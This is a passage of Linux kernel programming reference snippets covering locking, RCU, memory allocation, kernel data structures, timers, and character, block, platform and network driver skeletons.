	mutex_lock(&drivers_mutex);
	list_del(&driver->list);
	mutex_unlock(&drivers_mutex);

	if (driver->ops->cleanup)
		driver->ops->cleanup();
}

/* Base "class" */
struct device {
	const char *name;
	struct device *parent;
	void (*release)(struct device *dev);
};

/* Derived "class" */
struct pci_device {
	struct device dev;      /* Embedded base */
	unsigned int vendor;
	unsigned int device_id;
};

/* Upcast: derived to base */
struct pci_device *pci_dev;
struct device *dev = &pci_dev->dev;

/* Downcast: base to derived using container_of */
struct device *dev;
struct pci_device *pci_dev = container_of(dev, struct pci_device, dev);

struct my_object {
	atomic_t refcount;
	/* other fields */
};

/* Initialize reference count */
static void my_object_init(struct my_object *obj)
{
	atomic_set(&obj->refcount, 1);
}

/* Get reference (increment) */
static inline struct my_object *my_object_get(struct my_object *obj)
{
	if (obj)
		atomic_inc(&obj->refcount);
	return obj;
}

/* Put reference (decrement and free if zero) */
static inline void my_object_put(struct my_object *obj)
{
	if (obj && atomic_dec_and_test(&obj->refcount))
		my_object_destroy(obj);
}

/* Usage */
struct my_object *obj = my_object_alloc();  /* refcount = 1 */
struct my_object *obj2 = my_object_get(obj); /* refcount = 2 */
my_object_put(obj);   /* refcount = 1 */
my_object_put(obj2);  /* refcount = 0, object destroyed */

#include <linux/kobject.h>

struct my_object {
	struct kobject kobj;
	int value;
};

static struct kobj_type my_ktype = {
	.release = my_release,
	.sysfs_ops = &my_sysfs_ops,
	.default_attrs = my_attrs,
};

/* Create object */
struct my_object *obj = kzalloc(sizeof(*obj), GFP_KERNEL);
kobject_init(&obj->kobj, &my_ktype);
kobject_add(&obj->kobj, parent, "my_object");

/* Get reference */
kobject_get(&obj->kobj);

/* Release reference */
kobject_put(&obj->kobj);

/* Kernel memory allocation */
void *ptr = kmalloc(size, GFP_KERNEL);  /* Can sleep */
void *ptr = kmalloc(size, GFP_ATOMIC);  /* Cannot sleep, use in interrupt */
void *ptr = kzalloc(size, GFP_KERNEL);  /* Zeroed memory */

/* Large allocations */
void *ptr = vmalloc(size);  /* Virtually contiguous, physically may not be */

/* Page allocation */
struct page *page = alloc_page(GFP_KERNEL);
struct page *pages = alloc_pages(GFP_KERNEL, order);  /* 2^order pages */

/* Per-CPU variables */
DEFINE_PER_CPU(int, my_var);
int val = get_cpu_var(my_var);
put_cpu_var(my_var);

/* Slab/KMEM cache for frequent allocations */
struct kmem_cache *my_cache;

my_cache = kmem_cache_create("my_cache",
                              sizeof(struct my_struct),
                              0, SLAB_HWCACHE_ALIGN, NULL);

struct my_struct *obj = kmem_cache_alloc(my_cache, GFP_KERNEL);
kmem_cache_free(my_cache, obj);

/* Compiler barrier - prevent compiler reordering */
barrier();

/* Memory barriers - prevent CPU reordering */
mb();    /* Full memory barrier */
rmb();   /* Read memory barrier */
wmb();   /* Write memory barrier */
smp_mb(); /* SMP memory barrier */

/* Example: Producer-consumer */
/* Producer */
data->value = 42;
smp_wmb();  /* Ensure value is written before flag */
data->ready = 1;

/* Consumer */
while (!data->ready)
	cpu_relax();
smp_rmb();  /* Ensure flag is read before value */
value = data->value;

/* Get a page reference */
get_page(page);

/* Release a page reference */
put_page(page);

/* Check if page is locked */
if (PageLocked(page))
	/* ... */

/* Lock a page */
lock_page(page);
unlock_page(page);

/* Page flags */
SetPageDirty(page);
ClearPageDirty(page);
TestSetPageLocked(page);

/* Define spinlock */
spinlock_t my_lock;

/* Initialize */
spin_lock_init(&my_lock);

/* Use in process context */
spin_lock(&my_lock);
/* Critical section */
spin_unlock(&my_lock);

/* Use with IRQ disabling (if accessed from interrupt) */
unsigned long flags;
spin_lock_irqsave(&my_lock, flags);
/* Critical section */
spin_unlock_irqrestore(&my_lock, flags);

/* Bottom-half (softirq) protection */
spin_lock_bh(&my_lock);
/* Critical section */
spin_unlock_bh(&my_lock);

/* Define mutex */
struct mutex my_mutex;

/* Initialize */
mutex_init(&my_mutex);

/* Use (can sleep, so only in process context) */
mutex_lock(&my_mutex);
/* Critical section */
mutex_unlock(&my_mutex);

/* Trylock */
if (mutex_trylock(&my_mutex)) {
	/* Got the lock */
	mutex_unlock(&my_mutex);
}

/* Interruptible lock */
if (mutex_lock_interruptible(&my_mutex))
	return -EINTR;
/* Critical section */
mutex_unlock(&my_mutex);

/* Spinlock version */
rwlock_t my_rwlock;
rwlock_init(&my_rwlock);

/* Readers */
read_lock(&my_rwlock);
/* Read data */
read_unlock(&my_rwlock);

/* Writer */
write_lock(&my_rwlock);
/* Modify data */
write_unlock(&my_rwlock);

/* Semaphore version (can sleep) */
struct rw_semaphore my_rwsem;
init_rwsem(&my_rwsem);

down_read(&my_rwsem);
/* Read data */
up_read(&my_rwsem);

down_write(&my_rwsem);
/* Modify data */
up_write(&my_rwsem);

/* RCU list */
struct my_data {
	int value;
	struct list_head list;
	struct rcu_head rcu;
};

static LIST_HEAD(my_list);
static DEFINE_SPINLOCK(list_lock);

/* Read (no lock needed!) */
rcu_read_lock();
list_for_each_entry_rcu(entry, &my_list, list) {
	/* Read entry->value */
}
rcu_read_unlock();

/* Update (needs lock) */
spin_lock(&list_lock);
new = kmalloc(sizeof(*new), GFP_KERNEL);
new->value = 42;
list_add_rcu(&new->list, &my_list);
spin_unlock(&list_lock);

/* Delete */
static void my_data_free(struct rcu_head *head)
{
	struct my_data *entry = container_of(head, struct my_data, rcu);
	kfree(entry);
}

spin_lock(&list_lock);
list_del_rcu(&entry->list);
spin_unlock(&list_lock);
call_rcu(&entry->rcu, my_data_free);  /* Deferred free */

/* Declare completion */
struct completion my_completion;

/* Initialize */
init_completion(&my_completion);

/* Wait for completion */
wait_for_completion(&my_completion);

/* Timeout version */
if (!wait_for_completion_timeout(&my_completion, msecs_to_jiffies(5000)))
	printk(KERN_ERR "Timeout waiting for completion\n");

/* Signal completion */
complete(&my_completion);

/* Signal all waiters */
complete_all(&my_completion);

/* Atomic integer */
atomic_t counter = ATOMIC_INIT(0);

atomic_inc(&counter);
atomic_dec(&counter);
atomic_add(5, &counter);
atomic_sub(3, &counter);

/* Read */
int val = atomic_read(&counter);

/* Set */
atomic_set(&counter, 10);

/* Conditional operations */
if (atomic_dec_and_test(&counter))
	/* Counter reached zero */

if (atomic_inc_and_test(&counter))
	/* Counter is zero after increment */

/* Compare and swap */
int old = 5;
int new = 10;
atomic_cmpxchg(&counter, old, new);

/* Bitops */
unsigned long flags = 0;
set_bit(0, &flags);
clear_bit(0, &flags);
if (test_bit(0, &flags))
	/* Bit is set */

/* Atomic bitops */
test_and_set_bit(0, &flags);
test_and_clear_bit(0, &flags);

/* Return negative error codes, 0 for success */
int my_function(void)
{
	if (error_condition)
		return -EINVAL;  /* Invalid argument */

	if (no_memory)
		return -ENOMEM;  /* Out of memory */

	if (timeout)
		return -ETIMEDOUT;

	return 0;  /* Success */
}

/* Caller checks return value */
int ret = my_function();
if (ret) {
	printk(KERN_ERR "Function failed: %d\n", ret);
	return ret;  /* Propagate error */
}

-EINVAL    /* Invalid argument */
-ENOMEM    /* Out of memory */
-EFAULT    /* Bad address (copy_from/to_user failed) */
-EBUSY     /* Device or resource busy */
-EAGAIN    /* Try again (non-blocking operation) */
-EINTR     /* Interrupted system call */
-EIO       /* I/O error */
-ENODEV    /* No such device */
-ENOTTY    /* Inappropriate ioctl for device */
-EPERM     /* Operation not permitted */
-EACCES    /* Permission denied */
-EEXIST    /* File exists */
-ENOENT    /* No such file or directory */
-ETIMEDOUT /* Connection timed out */

int complex_function(void)
{
	struct resource1 *res1 = NULL;
	struct resource2 *res2 = NULL;
	struct resource3 *res3 = NULL;
	int ret;

	res1 = allocate_resource1();
	if (!res1) {
		ret = -ENOMEM;
		goto out;
	}

	res2 = allocate_resource2();
	if (!res2) {
		ret = -ENOMEM;
		goto free_res1;
	}

	res3 = allocate_resource3();
	if (!res3) {
		ret = -ENOMEM;
		goto free_res2;
	}

	/* Do work */
	ret = do_work(res1, res2, res3);
	if (ret)
		goto free_res3;

	/* Success path */
	return 0;

free_res3:
	free_resource3(res3);
free_res2:
	free_resource2(res2);
free_res1:
	free_resource1(res1);
out:
	return ret;
}

/* Return pointer or error */
struct my_struct *my_function(void)
{
	struct my_struct *ptr;

	ptr = kmalloc(sizeof(*ptr), GFP_KERNEL);
	if (!ptr)
		return ERR_PTR(-ENOMEM);

	if (some_error) {
		kfree(ptr);
		return ERR_PTR(-EINVAL);
	}

	return ptr;
}

/* Caller checks for error */
struct my_struct *ptr = my_function();
if (IS_ERR(ptr)) {
	int err = PTR_ERR(ptr);
	printk(KERN_ERR "Function failed: %d\n", err);
	return err;
}

/* Use ptr */
kfree(ptr);

#include <linux/fs.h>
#include <linux/cdev.h>

static dev_t dev_num;
static struct cdev my_cdev;
static struct class *my_class;

static int my_open(struct inode *inode, struct file *filp)
{
	/* Initialize private data */
	return 0;
}

static int my_release(struct inode *inode, struct file *filp)
{
	/* Cleanup */
	return 0;
}

static ssize_t my_read(struct file *filp, char __user *buf,
                       size_t count, loff_t *pos)
{
	/* Read data and copy to user space */
	if (copy_to_user(buf, kernel_buf, count))
		return -EFAULT;

	return count;
}

static ssize_t my_write(struct file *filp, const char __user *buf,
                        size_t count, loff_t *pos)
{
	/* Copy from user space and write */
	if (copy_from_user(kernel_buf, buf, count))
		return -EFAULT;

	return count;
}

static long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	switch (cmd) {
	case MY_IOCTL_CMD:
		/* Handle command */
		break;
	default:
		return -ENOTTY;
	}
	return 0;
}

static const struct file_operations my_fops = {
	.owner = THIS_MODULE,
	.open = my_open,
	.release = my_release,
	.read = my_read,
	.write = my_write,
	.unlocked_ioctl = my_ioctl,
};

static int __init my_init(void)
{
	int ret;

	/* Allocate device number */
	ret = alloc_chrdev_region(&dev_num, 0, 1, "mydev");
	if (ret < 0)
		return ret;

	/* Initialize cdev */
	cdev_init(&my_cdev, &my_fops);
	my_cdev.owner = THIS_MODULE;

	/* Add cdev */
	ret = cdev_add(&my_cdev, dev_num, 1);
	if (ret < 0)
		goto unregister_chrdev;

	/* Create device class */
	my_class = class_create(THIS_MODULE, "myclass");
	if (IS_ERR(my_class)) {
		ret = PTR_ERR(my_class);
		goto del_cdev;
	}

	/* Create device */
	device_create(my_class, NULL, dev_num, NULL, "mydev");

	return 0;

del_cdev:
	cdev_del(&my_cdev);
unregister_chrdev:
	unregister_chrdev_region(dev_num, 1);
	return ret;
}

static void __exit my_exit(void)
{
	device_destroy(my_class, dev_num);
	class_destroy(my_class);
	cdev_del(&my_cdev);
	unregister_chrdev_region(dev_num, 1);
}

module_init(my_init);
module_exit(my_exit);
MODULE_LICENSE("GPL");

#include <linux/platform_device.h>

static int my_probe(struct platform_device *pdev)
{
	struct resource *res;
	void __iomem *base;

	/* Get resources */
	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
	if (!res)
		return -ENODEV;

	/* Map registers */
	base = devm_ioremap_resource(&pdev->dev, res);
	if (IS_ERR(base))
		return PTR_ERR(base);

	/* Store in device private data */
	platform_set_drvdata(pdev, base);

	return 0;
}

static int my_remove(struct platform_device *pdev)
{
	/* Cleanup */
	return 0;
}

static const struct of_device_id my_of_match[] = {
	{ .compatible = "vendor,my-device" },
	{ }
};
MODULE_DEVICE_TABLE(of, my_of_match);

static struct platform_driver my_driver = {
	.probe = my_probe,
	.remove = my_remove,
	.driver = {
		.name = "my-driver",
		.of_match_table = my_of_match,
	},
};

module_platform_driver(my_driver);

#include <linux/interrupt.h>

static irqreturn_t my_interrupt(int irq, void *dev_id)
{
	struct my_device *dev = dev_id;
	u32 status;

	/* Read interrupt status */
	status = readl(dev->base + STATUS_REG);

	if (!(status & MY_IRQ_FLAG))
		return IRQ_NONE;  /* Not our interrupt */

	/* Clear interrupt */
	writel(status, dev->base + STATUS_REG);

	/* Handle interrupt - do minimal work */
	/* Schedule bottom half if needed */
	tasklet_schedule(&dev->tasklet);

	return IRQ_HANDLED;
}

/* Bottom half (tasklet) */
static void my_tasklet_func(unsigned long data)
{
	struct my_device *dev = (struct my_device *)data;

	/* Do heavy work here */
}

/* Request IRQ */
ret = request_irq(irq, my_interrupt, IRQF_SHARED, "mydev", dev);

/* Free IRQ */
free_irq(irq, dev);

/* Threaded IRQ (for handlers that can sleep) */
ret = request_threaded_irq(irq, NULL, my_threaded_handler,
                            IRQF_ONESHOT, "mydev", dev);

#include <linux/list.h>

struct my_node {
	int data;
	struct list_head list;
};

/* Define and initialize list head */
static LIST_HEAD(my_list);

/* Add entry */
struct my_node *node = kmalloc(sizeof(*node), GFP_KERNEL);
node->data = 42;
list_add(&node->list, &my_list);       /* Add to head */
list_add_tail(&node->list, &my_list);  /* Add to tail */

/* Iterate */
struct my_node *entry;
list_for_each_entry(entry, &my_list, list) {
	printk(KERN_INFO "data: %d\n", entry->data);
}

/* Safe iteration (allows deletion) */
struct my_node *tmp;
list_for_each_entry_safe(entry, tmp, &my_list, list) {
	if (entry->data == 42) {
		list_del(&entry->list);
		kfree(entry);
	}
}

/* Check if empty */
if (list_empty(&my_list))
	printk(KERN_INFO "List is empty\n");

#include <linux/hashtable.h>

#define HASH_BITS 8

struct my_entry {
	int key;
	int value;
	struct hlist_node hash;
};

/* Declare hash table */
static DEFINE_HASHTABLE(my_hash, HASH_BITS);

/* Initialize */
hash_init(my_hash);

/* Add entry */
struct my_entry *entry = kmalloc(sizeof(*entry), GFP_KERNEL);
entry->key = 123;
entry->value = 456;
hash_add(my_hash, &entry->hash, entry->key);

/* Find entry */
struct my_entry *found = NULL;
hash_for_each_possible(my_hash, entry, hash, key) {
	if (entry->key == key) {
		found = entry;
		break;
	}
}

/* Delete entry */
hash_del(&entry->hash);

/* Iterate all entries */
int bkt;
hash_for_each(my_hash, bkt, entry, hash) {
	printk(KERN_INFO "key=%d value=%d\n", entry->key, entry->value);
}

#include <linux/radix-tree.h>

static RADIX_TREE(my_tree, GFP_KERNEL);

/* Insert */
void *item = kmalloc(sizeof(struct my_data), GFP_KERNEL);
radix_tree_insert(&my_tree, index, item);

/* Lookup */
void *found = radix_tree_lookup(&my_tree, index);

/* Delete */
void *deleted = radix_tree_delete(&my_tree, index);
kfree(deleted);

/* Iterate */
struct radix_tree_iter iter;
void **slot;
radix_tree_for_each_slot(slot, &my_tree, &iter, start) {
	void *item = radix_tree_deref_slot(slot);
	/* Process item */
}

#include <linux/rbtree.h>

struct my_node {
	int key;
	struct rb_node node;
};

static struct rb_root my_tree = RB_ROOT;

/* Insert */
int my_insert(struct rb_root *root, struct my_node *data)
{
	struct rb_node **new = &(root->rb_node), *parent = NULL;

	while (*new) {
		struct my_node *this = container_of(*new, struct my_node, node);

		parent = *new;
		if (data->key < this->key)
			new = &((*new)->rb_left);
		else if (data->key > this->key)
			new = &((*new)->rb_right);
		else
			return -EEXIST;
	}

	rb_link_node(&data->node, parent, new);
	rb_insert_color(&data->node, root);

	return 0;
}

/* Search */
struct my_node *my_search(struct rb_root *root, int key)
{
	struct rb_node *node = root->rb_node;

	while (node) {
		struct my_node *data = container_of(node, struct my_node, node);

		if (key < data->key)
			node = node->rb_left;
		else if (key > data->key)
			node = node->rb_right;
		else
			return data;
	}

	return NULL;
}

/* Erase */
rb_erase(&node->node, &my_tree);

#include <linux/workqueue.h>

struct work_struct my_work;

/* Work function */
static void my_work_func(struct work_struct *work)
{
	/* Do work in process context */
}

/* Initialize */
INIT_WORK(&my_work, my_work_func);

/* Schedule work */
schedule_work(&my_work);

/* Delayed work */
struct delayed_work my_delayed_work;
INIT_DELAYED_WORK(&my_delayed_work, my_work_func);
schedule_delayed_work(&my_delayed_work, msecs_to_jiffies(1000));

/* Cancel work */
cancel_work_sync(&my_work);
cancel_delayed_work_sync(&my_delayed_work);

#include <linux/timer.h>

struct timer_list my_timer;

/* Timer callback */
static void my_timer_callback(struct timer_list *t)
{
	/* Timer expired */
	printk(KERN_INFO "Timer expired\n");

	/* Reschedule if needed */
	mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));
}

/* Initialize and start timer */
timer_setup(&my_timer, my_timer_callback, 0);
mod_timer(&my_timer, jiffies + msecs_to_jiffies(1000));

/* Stop timer */
del_timer_sync(&my_timer);

/* High-resolution timers */
#include <linux/hrtimer.h>

struct hrtimer my_hrtimer;

static enum hrtimer_restart my_hrtimer_callback(struct hrtimer *timer)
{
	/* Timer expired */
	return HRTIMER_NORESTART;  /* Or HRTIMER_RESTART */
}

hrtimer_init(&my_hrtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
my_hrtimer.function = my_hrtimer_callback;
hrtimer_start(&my_hrtimer, ms_to_ktime(1000), HRTIMER_MODE_REL);

#include <linux/wait.h>

static DECLARE_WAIT_QUEUE_HEAD(my_wait_queue);
static int condition = 0;

/* Wait for condition */
wait_event(my_wait_queue, condition != 0);

/* Wait with timeout */
int ret = wait_event_timeout(my_wait_queue, condition != 0,
                              msecs_to_jiffies(5000));

/* Interruptible wait */
if (wait_event_interruptible(my_wait_queue, condition != 0))
	return -ERESTARTSYS;

/* Wake up waiters */
condition = 1;
wake_up(&my_wait_queue);        /* Wake one */
wake_up_all(&my_wait_queue);    /* Wake all */
wake_up_interruptible(&my_wait_queue);

#include <linux/kthread.h>

static struct task_struct *my_thread;

static int my_thread_func(void *data)
{
	while (!kthread_should_stop()) {
		/* Do work */

		/* Sleep */
		msleep(1000);

		/* Or wait for condition */
		wait_event_interruptible(queue, condition || kthread_should_stop());
	}

	return 0;
}

/* Create and start thread */
my_thread = kthread_run(my_thread_func, NULL, "my_thread");
if (IS_ERR(my_thread))
	return PTR_ERR(my_thread);

/* Stop thread */
kthread_stop(my_thread);

/* Use appropriate log level */
printk(KERN_EMERG   "Emergency\n");    /* System unusable */
printk(KERN_ALERT   "Alert\n");        /* Action must be taken */
printk(KERN_CRIT    "Critical\n");     /* Critical conditions */
printk(KERN_ERR     "Error\n");        /* Error conditions */
printk(KERN_WARNING "Warning\n");      /* Warning conditions */
printk(KERN_NOTICE  "Notice\n");       /* Normal but significant */
printk(KERN_INFO    "Info\n");         /* Informational */
printk(KERN_DEBUG   "Debug\n");        /* Debug messages */

/* Modern API */
pr_emerg("Emergency\n");
pr_err("Error\n");
pr_info("Info\n");
pr_debug("Debug\n");  /* Only if DEBUG is defined */

/* Device-specific logging */
dev_err(&pdev->dev, "Device error\n");
dev_info(&pdev->dev, "Device info\n");

/* Compile with CONFIG_DYNAMIC_DEBUG */

/* Use pr_debug or dev_dbg */
pr_debug("Debug message: value=%d\n", value);
dev_dbg(&dev->dev, "Device debug: %s\n", msg);

/* Enable at runtime */
/* echo 'file mydriver.c +p' > /sys/kernel/debug/dynamic_debug/control */

/* BUG and WARN macros */
BUG_ON(bad_condition);        /* Panic if true */
WARN_ON(warning_condition);   /* Warning if true */

if (WARN_ON_ONCE(ptr == NULL))
	return -EINVAL;

/* Better: return error instead of crashing */
if (WARN(bad_condition, "Something went wrong: %d\n", value))
	return -EINVAL;

#include <linux/trace_events.h>

/* Use ftrace */
trace_printk("Fast trace message: %d\n", value);

/* Define tracepoints */
#include <trace/events/mydriver.h>

TRACE_EVENT(my_event,
	TP_PROTO(int value),
	TP_ARGS(value),
	TP_STRUCT__entry(
		__field(int, value)
	),
	TP_fast_assign(
		__entry->value = value;
	),
	TP_printk("value=%d", __entry->value)
);

/* Use tracepoint */
trace_my_event(42);

/* Use devm_* functions for automatic cleanup on error/remove */
void __iomem *base = devm_ioremap_resource(&pdev->dev, res);
int *ptr = devm_kmalloc(&pdev->dev, size, GFP_KERNEL);
int irq = devm_request_irq(&pdev->dev, irq_num, handler, flags, name, dev);

/* These are automatically freed when device is removed */

/* Always use copy_to_user/copy_from_user */
if (copy_to_user(user_buf, kernel_buf, count))
	return -EFAULT;

if (copy_from_user(kernel_buf, user_buf, count))
	return -EFAULT;

/* For single values */
int value;
if (get_user(value, (int __user *)arg))
	return -EFAULT;

if (put_user(value, (int __user *)arg))
	return -EFAULT;

/* Check access */
if (!access_ok(user_buf, count))
	return -EFAULT;

/* Define module parameters */
static int debug = 0;
module_param(debug, int, 0644);
MODULE_PARM_DESC(debug, "Enable debug mode");

static char *name = "default";
module_param(name, charp, 0644);
MODULE_PARM_DESC(name, "Device name");

/* Load module with parameters */
/* insmod mymodule.ko debug=1 name="custom" */

/* Always consider SMP (multiprocessor) safety */

/* Use per-CPU variables for lock-free data */
DEFINE_PER_CPU(int, my_counter);

int val = get_cpu_var(my_counter);
val++;
put_cpu_var(my_counter);

/* Use proper locking */
/* Identify data that needs protection */
/* Choose appropriate lock type (spinlock vs mutex) */
/* Keep critical sections short */
/* Avoid nested locks (lock ordering) */

/* Implement PM operations */
static int my_suspend(struct device *dev)
{
	/* Save state, disable device */
	return 0;
}

static int my_resume(struct device *dev)
{
	/* Restore state, enable device */
	return 0;
}

static const struct dev_pm_ops my_pm_ops = {
	.suspend = my_suspend,
	.resume = my_resume,
};

static struct platform_driver my_driver = {
	.driver = {
		.name = "my-driver",
		.pm = &my_pm_ops,
	},
};

/* DON'T use floating point in kernel */
// float x = 3.14;  /* Wrong! */

/* DON'T use large stack allocations */
// char buffer[8192];  /* Too big for stack */
/* Use kmalloc instead */

/* DON'T sleep in atomic context */
spin_lock(&lock);
// msleep(100);  /* Wrong! */
spin_unlock(&lock);

/* DON'T access user space directly */
// int *user_ptr;
// *user_ptr = 5;  /* Wrong! Use copy_to_user */

/* DON'T ignore return values */
// kmalloc(size, GFP_KERNEL);  /* Check for NULL! */

/* DON'T use unbounded loops */
// while (1) { }  /* Use kthread_should_stop() */

┌─────────────────────────────────────┐
│        User Space                    │
│    (Applications, Libraries)         │
└─────────────────────────────────────┘
              │ System Calls
┌─────────────────────────────────────┐
│        Kernel Space                  │
│  ┌───────────────────────────────┐  │
│  │  Virtual File System (VFS)    │  │
│  └───────────────────────────────┘  │
│              │                       │
│  ┌───────────────────────────────┐  │
│  │    Device Drivers              │  │
│  │  - Character Drivers           │  │
│  │  - Block Drivers               │  │
│  │  - Network Drivers             │  │
│  └───────────────────────────────┘  │
│              │                       │
│  ┌───────────────────────────────┐  │
│  │    Bus Subsystems              │  │
│  │  - PCI, USB, I2C, SPI, etc.   │  │
│  └───────────────────────────────┘  │
└─────────────────────────────────────┘
              │
┌─────────────────────────────────────┐
│        Hardware                      │
└─────────────────────────────────────┘

Device ←→ Driver ←→ Bus
   ↓         ↓       ↓
 struct   struct   struct
 device   driver    bus

#include <linux/device.h>

/* Device structure */
struct device {
	struct device		*parent;
	struct device_private	*p;

	struct kobject kobj;
	const char		*init_name;
	const struct device_type *type;

	struct bus_type	*bus;
	struct device_driver *driver;

	void		*platform_data;
	void		*driver_data;

	struct dev_pm_info	power;
	struct dev_pm_domain	*pm_domain;

	int		numa_node;
	u64		*dma_mask;
	u64		coherent_dma_mask;

	struct device_dma_parameters *dma_parms;

	struct list_head	dma_pools;
	struct dma_coherent_mem	*dma_mem;

	struct dev_archdata	archdata;
	struct device_node	*of_node;
	struct fwnode_handle	*fwnode;

	dev_t			devt;
	u32			id;

	spinlock_t		devres_lock;
	struct list_head	devres_head;
};

/* Driver structure */
struct device_driver {
	const char		*name;
	struct bus_type		*bus;

	struct module		*owner;
	const char		*mod_name;

	bool suppress_bind_attrs;

	const struct of_device_id	*of_match_table;
	const struct acpi_device_id	*acpi_match_table;

	int (*probe) (struct device *dev);
	int (*remove) (struct device *dev);
	void (*shutdown) (struct device *dev);
	int (*suspend) (struct device *dev, pm_message_t state);
	int (*resume) (struct device *dev);

	const struct attribute_group **groups;

	const struct dev_pm_ops *pm;

	struct driver_private *p;
};

/* Bus type structure */
struct bus_type {
	const char		*name;
	const char		*dev_name;
	struct device		*dev_root;

	const struct attribute_group **bus_groups;
	const struct attribute_group **dev_groups;
	const struct attribute_group **drv_groups;

	int (*match)(struct device *dev, struct device_driver *drv);
	int (*uevent)(struct device *dev, struct kobj_uevent_env *env);
	int (*probe)(struct device *dev);
	int (*remove)(struct device *dev);
	void (*shutdown)(struct device *dev);

	int (*suspend)(struct device *dev, pm_message_t state);
	int (*resume)(struct device *dev);

	const struct dev_pm_ops *pm;

	struct subsys_private *p;
};

/* Register a device */
int device_register(struct device *dev)
{
	device_initialize(dev);
	return device_add(dev);
}

/* Example: Create and register a device */
static int create_my_device(struct device *parent)
{
	struct device *dev;
	int ret;

	dev = kzalloc(sizeof(*dev), GFP_KERNEL);
	if (!dev)
		return -ENOMEM;

	dev->parent = parent;
	dev->bus = &my_bus_type;
	dev_set_name(dev, "mydevice%d", id);

	ret = device_register(dev);
	if (ret) {
		put_device(dev);
		return ret;
	}

	return 0;
}

/* Unregister device */
void device_unregister(struct device *dev)
{
	device_del(dev);
	put_device(dev);
}

/* Register a driver */
int driver_register(struct device_driver *drv)
{
	int ret;

	ret = bus_add_driver(drv);
	if (ret)
		return ret;

	ret = driver_add_groups(drv, drv->groups);
	if (ret) {
		bus_remove_driver(drv);
		return ret;
	}

	return 0;
}

/* Example: Register a driver */
static struct device_driver my_driver = {
	.name = "my_driver",
	.bus = &my_bus_type,
	.probe = my_probe,
	.remove = my_remove,
	.pm = &my_pm_ops,
};

static int __init my_driver_init(void)
{
	return driver_register(&my_driver);
}

static void __exit my_driver_exit(void)
{
	driver_unregister(&my_driver);
}

module_init(my_driver_init);
module_exit(my_driver_exit);

/* Bus match function */
static int my_bus_match(struct device *dev, struct device_driver *drv)
{
	struct my_device *my_dev = to_my_device(dev);
	struct my_driver *my_drv = to_my_driver(drv);

	/* Match by name */
	if (strcmp(dev_name(dev), drv->name) == 0)
		return 1;

	/* Match by compatible string (device tree) */
	if (of_driver_match_device(dev, drv))
		return 1;

	return 0;
}

#include <linux/cdev.h>
#include <linux/fs.h>

struct my_char_dev {
	struct cdev cdev;
	dev_t devt;
	struct class *class;
	struct device *device;
	/* Device-specific data */
	void __iomem *base;
	struct mutex lock;
};

static int my_open(struct inode *inode, struct file *filp)
{
	struct my_char_dev *dev;

	dev = container_of(inode->i_cdev, struct my_char_dev, cdev);
	filp->private_data = dev;

	pr_info("Device opened\n");
	return 0;
}

static int my_release(struct inode *inode, struct file *filp)
{
	pr_info("Device closed\n");
	return 0;
}

static ssize_t my_read(struct file *filp, char __user *buf,
		       size_t count, loff_t *f_pos)
{
	struct my_char_dev *dev = filp->private_data;
	char kbuf[256];
	size_t len;

	/* Read from hardware */
	len = snprintf(kbuf, sizeof(kbuf), "Hello from device\n");

	if (count < len)
		len = count;

	if (copy_to_user(buf, kbuf, len))
		return -EFAULT;

	*f_pos += len;
	return len;
}

static ssize_t my_write(struct file *filp, const char __user *buf,
			size_t count, loff_t *f_pos)
{
	struct my_char_dev *dev = filp->private_data;
	char kbuf[256];

	if (count > sizeof(kbuf) - 1)
		count = sizeof(kbuf) - 1;

	if (copy_from_user(kbuf, buf, count))
		return -EFAULT;

	kbuf[count] = '\0';

	pr_info("Received: %s\n", kbuf);

	/* Write to hardware */

	return count;
}

static long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	struct my_char_dev *dev = filp->private_data;

	switch (cmd) {
	case MY_IOCTL_RESET:
		/* Reset device */
		pr_info("Reset device\n");
		break;

	case MY_IOCTL_GET_STATUS:
		/* Get device status */
		if (copy_to_user((void __user *)arg, &dev->status,
				 sizeof(dev->status)))
			return -EFAULT;
		break;

	default:
		return -ENOTTY;
	}

	return 0;
}

static const struct file_operations my_fops = {
	.owner = THIS_MODULE,
	.open = my_open,
	.release = my_release,
	.read = my_read,
	.write = my_write,
	.unlocked_ioctl = my_ioctl,
};

#include <linux/blkdev.h>
#include <linux/genhd.h>

struct my_block_dev {
	spinlock_t lock;
	struct request_queue *queue;
	struct gendisk *gd;

	u8 *data;		/* Virtual disk storage */
	size_t size;		/* Size in bytes */
};

static void my_request(struct request_queue *q)
{
	struct request *req;
	struct my_block_dev *dev = q->queuedata;

	while ((req = blk_fetch_request(q)) != NULL) {
		sector_t sector = blk_rq_pos(req);
		unsigned long offset = sector * KERNEL_SECTOR_SIZE;
		size_t len = blk_rq_bytes(req);

		if (offset + len > dev->size) {
			pr_err("Beyond device size\n");
			__blk_end_request_all(req, -EIO);
			continue;
		}

		if (rq_data_dir(req) == WRITE) {
			/* Write to virtual disk */
			memcpy(dev->data + offset, bio_data(req->bio), len);
		} else {
			/* Read from virtual disk */
			memcpy(bio_data(req->bio), dev->data + offset, len);
		}

		__blk_end_request_all(req, 0);
	}
}

static int my_block_open(struct block_device *bdev, fmode_t mode)
{
	pr_info("Block device opened\n");
	return 0;
}

static void my_block_release(struct gendisk *gd, fmode_t mode)
{
	pr_info("Block device released\n");
}

static const struct block_device_operations my_bdev_ops = {
	.owner = THIS_MODULE,
	.open = my_block_open,
	.release = my_block_release,
};

static int create_block_device(struct my_block_dev *dev)
{
	int ret;

	/* Allocate request queue */
	spin_lock_init(&dev->lock);
	dev->queue = blk_init_queue(my_request, &dev->lock);
	if (!dev->queue)
		return -ENOMEM;

	dev->queue->queuedata = dev;

	/* Allocate gendisk */
	dev->gd = alloc_disk(1);
	if (!dev->gd) {
		blk_cleanup_queue(dev->queue);
		return -ENOMEM;
	}

	dev->gd->major = MY_MAJOR;
	dev->gd->first_minor = 0;
	dev->gd->fops = &my_bdev_ops;
	dev->gd->queue = dev->queue;
	dev->gd->private_data = dev;
	snprintf(dev->gd->disk_name, 32, "myblock");
	set_capacity(dev->gd, dev->size / KERNEL_SECTOR_SIZE);

	add_disk(dev->gd);

	return 0;
}

#include <linux/netdevice.h>
#include <linux/etherdevice.h>

struct my_net_priv {
	struct net_device *dev;
	struct napi_struct napi;

	void __iomem *base;
	spinlock_t lock;
};

static int my_net_open(struct net_device *dev)
{
	struct my_net_priv *priv = netdev_priv(dev);

	/* Enable hardware */
	/* Request IRQ */
	/* Enable NAPI */
	napi_enable(&priv->napi);

